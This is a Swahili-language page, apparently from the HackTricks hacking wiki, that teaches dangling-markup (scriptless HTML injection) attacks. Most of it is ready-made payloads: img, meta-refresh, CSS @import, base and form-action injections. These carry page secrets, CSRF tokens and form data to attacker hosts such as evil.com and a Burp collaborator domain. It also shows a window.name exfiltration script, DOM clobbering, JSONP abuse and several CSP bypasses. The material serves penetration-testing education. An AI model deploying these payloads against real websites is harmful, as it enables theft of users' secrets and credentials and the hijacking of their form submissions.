.. | ||
README.md | ||
ss-leaks.md |
Dangling Markup - Uingizaji wa HTML bila script
Jifunze kuhusu kuhack AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!
Njia nyingine za kusaidia HackTricks:
- Ikiwa unataka kuona kampuni yako ikitangazwa kwenye HackTricks au kupakua HackTricks kwa PDF Angalia MIPANGO YA KUJIUNGA!
- Pata bidhaa rasmi za PEASS & HackTricks
- Gundua Familia ya PEASS, mkusanyiko wetu wa NFTs za kipekee
- Jiunge na 💬 Kikundi cha Discord au kikundi cha telegram au tufuate kwenye Twitter 🐦 @carlospolopm.
- Shiriki mbinu zako za kuhack kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.
Muhtasari
Mbinu hii inaweza kutumika kutoa habari kutoka kwa mtumiaji wakati uingizaji wa HTML unapatikana. Hii ni muhimu sana ikiwa hauoni njia yoyote ya kutumia XSS lakini unaweza kuingiza vitambulisho vya HTML.
Pia ni muhimu ikiwa siri imehifadhiwa kwa maandishi wazi kwenye HTML na unataka kuiondoa kutoka kwa mteja, au ikiwa unataka kudanganya utekelezaji wa skripti fulani.
Mbinu kadhaa zilizotajwa hapa zinaweza kutumika kukiuka baadhi ya Sera ya Usalama wa Yaliyomo kwa kutoa habari kwa njia zisizotarajiwa (vitambulisho vya html, CSS, vitambulisho vya http-meta, fomu, msingi...).
Matumizi Makuu
Kuiba siri za maandishi wazi
Ikiwa unainjeka <img src='http://evil.com/log.cgi?
wakati ukurasa unapakia, muathiriwa atakutumia msimbo wote kati ya vitambulisho vya img
vilivyoingizwa na nukuu inayofuata ndani ya msimbo. Ikiwa siri ipo kwenye kipande hicho, utaiba i t(unaweza kufanya kitu kama hicho kwa kutumia nukuu mara mbili, tazama ni ipi inaweza kuwa ya kuvutia zaidi kutumia).
Ikiwa vitambulisho vya img
vimezuiliwa (kutokana na CSP kwa mfano) unaweza pia kutumia <meta http-equiv="refresh" content="4; URL='http://evil.com/log.cgi?
<img src='http://attacker.com/log.php?HTML=
<meta http-equiv="refresh" content='0; url=http://evil.com/log.php?text=
<meta http-equiv="refresh" content='0;URL=ftp://evil.com?a=
Tafadhali kumbuka kwamba Chrome inazuia URL za HTTP zenye "<" au "\n" ndani yake, hivyo unaweza jaribu mbinu nyingine za itifaki kama "ftp".
Unaweza pia kutumia CSS @import
(italeta msimbo wote hadi itakapopata ";")
<style>@import//hackvertor.co.uk? <--- Injected
<b>steal me!</b>;
Unaweza pia kutumia <table
:
<table background='//your-collaborator-id.burpcollaborator.net?'
Unaweza pia kuweka lebo ya <base
. Taarifa zote zitatumwa hadi nukuu itakapofungwa lakini inahitaji ushirikiano wa mtumiaji (mtumiaji lazima bonyeza kiungo fulani, kwa sababu lebo ya msingi itakuwa imebadilisha kikoa kinachoelekezwa na kiungo):
<base target=' <--- Injected
steal me'<b>test</b>
Kuiba fomu
<base href='http://evil.com/'>
Kisha, fomu zinazotuma data kwa njia ya path (kama <form action='update_profile.php'>
) zitatuma data kwa kikoa cha madhara.
Kuiba fomu 2
Weka kichwa cha fomu: <form action='http://evil.com/log_steal'>
hii itabadilisha kichwa cha fomu inayofuata na data yote kutoka kwenye fomu itatumwa kwa muhusika.
Kuiba fomu 3
Kitufe kinaweza kubadilisha URL ambapo habari ya fomu itatumwa kwa kutumia sifa "formaction":
<button name=xss type=submit formaction='https://google.com'>I get consumed!
Mshambuliaji anaweza kutumia hii kuiba taarifa.
Pata mfano wa shambulio hili katika andiko hili.
Kuiba siri za maandishi wazi 2
Kwa kutumia mbinu iliyotajwa hapo juu ya kuiba fomu (kuingiza kichwa kipya cha fomu) unaweza kisha kuingiza uga mpya wa kuingiza:
<input type='hidden' name='review_body' value="
Na uga huu wa kuingiza utaleta yaliyomo kati ya herufi zake mbili na herufi zingine katika HTML. Shambulizi hili linachanganya "Kuiba siri za maandishi wazi" na "Kuiba fomu2".
Unaweza kufanya kitu sawa kwa kuingiza fomu na lebo ya <option>
. Data yote hadi <option>
iliyofungwa inapatikana itatumwa:
<form action=http://google.com><input type="submit">Click Me</input><select name=xss><option
Kuingiza Parameta ya Fomu
Unaweza kubadilisha njia ya fomu na kuingiza thamani mpya ili hatua isiyotarajiwa ifanyike:
<form action='/change_settings.php'>
<input type='hidden' name='invite_user'
value='fredmbogo'> ← Injected lines
<form action="/change_settings.php"> ← Existing form (ignored by the parser)
...
<input type="text" name="invite_user" value=""> ← Subverted field
...
<input type="hidden" name="xsrf_token" value="12345">
...
</form>
Kuiba siri za maandishi wazi kupitia noscript
<noscript></noscript>
Ni lebo ambayo maudhui yake yataeleweka ikiwa kivinjari hakisaidii javascript (unaweza kuwezesha/kulemaza Javascript kwenye Chrome katika chrome://settings/content/javascript).
Njia ya kuchukua maudhui ya ukurasa wa wavuti kutoka sehemu ya kuingiza hadi chini kwenda kwenye tovuti iliyo na udhibiti wa mshambuliaji itakuwa kwa kuingiza hii:
<noscript><form action=http://evil.com><input type=submit style="position:absolute;left:0;top:0;width:100%;height:100%;" type=submit value=""><textarea name=contents></noscript>
Kupitisha CSP na ushirikiano wa mtumiaji
Kutoka kwa utafiti wa portswiggers unaweza kujifunza kwamba hata kutoka kwa mazingira yaliyopewa kizuizi cha CSP zaidi, bado unaweza kutoa data na baadhi ya ushirikiano wa mtumiaji. Katika tukio hili tutatumia mzigo wa data:
<a href=http://attacker.net/payload.html><font size=100 color=red>You must click me</font></a>
<base target='
Tafadhali eleza mwathiriwa a bonyeza kiungo ambacho kitampeleka kwa payload inayodhibitiwa na wewe. Pia eleza kwamba lengo
sifa ndani ya tagi ya msingi
italeta maudhui ya HTML hadi alama ya kufunga ya pekee inayofuata. Hii itafanya thamani ya window.name
ikiwa kiungo kimebonyezwa kuwa maudhui yote ya HTML. Kwa hivyo, kwa kuwa unadhibiti ukurasa ambapo mwathiriwa anapata kwa kubonyeza kiungo, unaweza kupata upatikanaji wa window.name
na kuvuja data hiyo:
<script>
if(window.name) {
new Image().src='//your-collaborator-id.burpcollaborator.net?'+encodeURIComponent(window.name);
</script>
Mchakato wa kudanganya wa hatua ya 1 - Shambulio la nafasi ya HTML
Ingiza lebo mpya na kitambulisho ndani ya HTML ambayo itaandika juu ya ile inayofuata na na thamani itakayokuwa na athari kwenye mchakato wa script. Katika mfano huu unachagua na nani habari itashirikishwa:
<input type='hidden' id='share_with' value='fredmbogo'> ← Injected markup
...
Share this status update with: ← Legitimate optional element of a dialog
<input id='share_with' value=''>
...
function submit_status_update() {
...
request.share_with = document.getElementById('share_with').value;
...
}
Mchakato wa kudanganya wa script 2 - Shambulio la jina la script
Unda mizani ndani ya nafasi ya javascript kwa kuingiza vitambulisho vya HTML. Kisha, hii mizani itaathiri mtiririko wa programu:
<img id='is_public'> ← Injected markup
...
// Legitimate application code follows
function retrieve_acls() {
...
if (response.access_mode == AM_PUBLIC) ← The subsequent assignment fails in IE
is_public = true;
else
is_public = false;
}
function submit_new_acls() {
...
if (is_public) request.access_mode = AM_PUBLIC; ← Condition always evaluates to true
...
}
Matumizi Mabaya ya JSONP
Ikiwa utapata kiolesura cha JSONP unaweza kuweza kuita kazi isiyo na kikomo na data isiyo na kikomo:
<script src='/editor/sharing.js'>: ← Legitimate script
function set_sharing(public) {
if (public) request.access_mode = AM_PUBLIC;
else request.access_mode = AM_PRIVATE;
...
}
<script src='/search?q=a&call=set_sharing'>: ← Injected JSONP call
set_sharing({ ... })
Au unaweza hata kujaribu kutekeleza baadhi ya javascript:
<script src='/search?q=a&call=alert(1)'></script>
Matumizi ya Iframe
Waraka wa mtoto una uwezo wa kuona na kurekebisha mali ya location
ya mzazi wake, hata katika hali za mipaka-tofauti. Hii inaruhusu kuingiza script ndani ya iframe ambayo inaweza kuongoza mteja kwenye ukurasa usio na kikomo:
<html><head></head><body><script>top.window.location = "https://attacker.com/hacked.html"</script></body></html>
Hii inaweza kudhibitiwa kwa kitu kama: sandbox=' allow-scripts allow-top-navigation'
Iframe pia inaweza kutumika kuvuja taarifa nyeti kutoka kwenye ukurasa tofauti kwa kutumia sifa ya jina la iframe. Hii ni kwa sababu unaweza kuunda iframe ambayo inajiframisha yenyewe ikivunja HTML inayofanya taarifa nyeti ionekane ndani ya sifa ya jina la iframe na kisha kupata jina hilo kutoka kwenye iframe ya awali na kulivuja.
<script>
function cspBypass(win) {
win[0].location = 'about:blank';
setTimeout(()=>alert(win[0].name), 500);
}
</script>
<iframe src="//subdomain1.portswigger-labs.net/bypassing-csp-with-dangling-iframes/target.php?email=%22><iframe name=%27" onload="cspBypass(this.contentWindow)"></iframe>
Kwa maelezo zaidi angalia https://portswigger.net/research/bypassing-csp-with-dangling-iframes
<meta matumizi mabaya
Unaweza kutumia meta http-equiv
kufanya vitendo kadhaa kama kuweka Cookie: <meta http-equiv="Set-Cookie" Content="SESSID=1">
au kufanya upya (baada ya sekunde 5 katika kesi hii): <meta name="language" content="5;http://attacker.svg" HTTP-EQUIV="refresh" />
Hii inaweza kuepukwa na CSP kuhusiana na http-equiv (Content-Security-Policy: default-src 'self';
, au Content-Security-Policy: http-equiv 'self';
)
Tag mpya ya HTML ya <portal
Unaweza kupata utafiti wa kuvutia sana kuhusu udhaifu unaoweza kutumiwa wa tag ya <portal hapa.
Wakati wa kuandika hii, unahitaji kuwezesha tag ya portal kwenye Chrome katika chrome://flags/#enable-portals
au haitafanya kazi.
<portal src='https://attacker-server?
Kuvuja kwa HTML
Haitakuwa njia zote za kuvuja kwa uunganisho katika HTML kuwa na manufaa kwa Dangling Markup, lakini mara kwa mara inaweza kusaidia. Angalia hapa: https://github.com/cure53/HTTPLeaks/blob/master/leak.html
SS-Leaks
Hii ni mchanganyiko kati ya dangling markup na XS-Leaks. Kwa upande mmoja, udhaifu huu huruhusu kuingiza HTML (lakini sio JS) kwenye ukurasa wa asili sawa na ile tutakayokuwa tukiishambulia. Kwa upande mwingine hatutashambulia moja kwa moja ukurasa ambapo tunaweza kuingiza HTML, lakini ukurasa mwingine.
{% content-ref url="ss-leaks.md" %} ss-leaks.md {% endcontent-ref %}
XS-Search/XS-Leaks
XS-Search zinalenga kuvuja taarifa kati ya asili tofauti kwa kutumia mashambulizi ya njia ya upande. Kwa hivyo, ni mbinu tofauti na Dangling Markup, hata hivyo, baadhi ya mbinu zinatumia kuingiza vitambulisho vya HTML (na bila utekelezaji wa JS), kama Uingizaji wa CSS au Pakia Picha kwa Uvivu.
{% content-ref url="../xs-search.md" %} xs-search.md {% endcontent-ref %}
Orodha ya Uchunguzi wa Kuvunja Nguvu
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/dangling_markup.txt" %}
Marejeo
- https://aswingovind.medium.com/content-spoofing-yes-html-injection-39611d9a4057
- http://lcamtuf.coredump.cx/postxss/
- http://www.thespanner.co.uk/2011/12/21/html-scriptless-attacks/
- https://portswigger.net/research/evading-csp-with-dom-based-dangling-markup
Jifunze kuhusu kuvamia AWS kutoka sifuri hadi shujaa na htARTE (HackTricks AWS Red Team Expert)!
Njia nyingine za kusaidia HackTricks:
- Ikiwa unataka kuona kampuni yako ikitangazwa kwenye HackTricks au kupakua HackTricks kwa PDF Angalia MIPANGO YA KUJIUNGA!
- Pata bidhaa rasmi za PEASS & HackTricks
- Gundua Familia ya PEASS, mkusanyiko wetu wa NFTs ya kipekee
- Jiunge na 💬 Kikundi cha Discord au kikundi cha telegram au tufuate kwenye Twitter 🐦 @carlospolopm.
- Shiriki mbinu zako za kuvamia kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud github repos.